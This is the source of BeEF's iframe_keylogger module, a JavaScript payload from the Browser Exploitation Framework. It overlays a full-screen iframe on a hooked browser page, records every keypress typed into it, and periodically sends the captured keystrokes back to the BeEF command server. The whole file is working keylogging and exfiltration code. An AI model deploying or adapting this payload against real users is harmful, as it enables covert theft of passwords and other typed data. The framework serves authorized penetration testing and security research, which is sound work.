Path: blob/master/modules/misc/iframe_keylogger/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// logged keystrokes array9var stream = new Array();1011// add the pressed key to the keystroke stream array12function keyPressHandler(evt) {13evt = evt || window.event;14if (evt) {15var keyCode = evt.charCode || evt.keyCode;16charLogged = String.fromCharCode(keyCode);17stream.push(charLogged);18}19}2021// creates the overlay 100% width/height iFrame22overlay = beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);2324if(beef.browser.isIE()){25// listen for keypress events on the iFrame26function setKeypressHandler(windowOrFrame, keyHandler) {27var doc = windowOrFrame.document;28if (doc) {29if (doc.attachEvent) {30doc.attachEvent(31'onkeypress',32function () {33keyHandler(windowOrFrame.event);34}35);36}37else {38doc.onkeypress = keyHandler;39}40}41}4243setKeypressHandler(window.frames.overlayiframe, keyPressHandler);4445}else{46document.getElementById('overlayiframe').contentWindow.addEventListener('keypress', keyPressHandler, true);47}4849// every N seconds send the keystrokes back to BeEF50setInterval(function queue() {51var keystrokes = "";52if (stream.length > 0) {53for (var i = 0; i < stream.length; i++) {54keystrokes += stream[i] + "";55}56beef.net.send("<%= @command_url %>", <%= @command_id %>, "keystrokes=" + keystrokes);57stream = new Array();58}59}, <%= @sendBackInterval %>)60});616263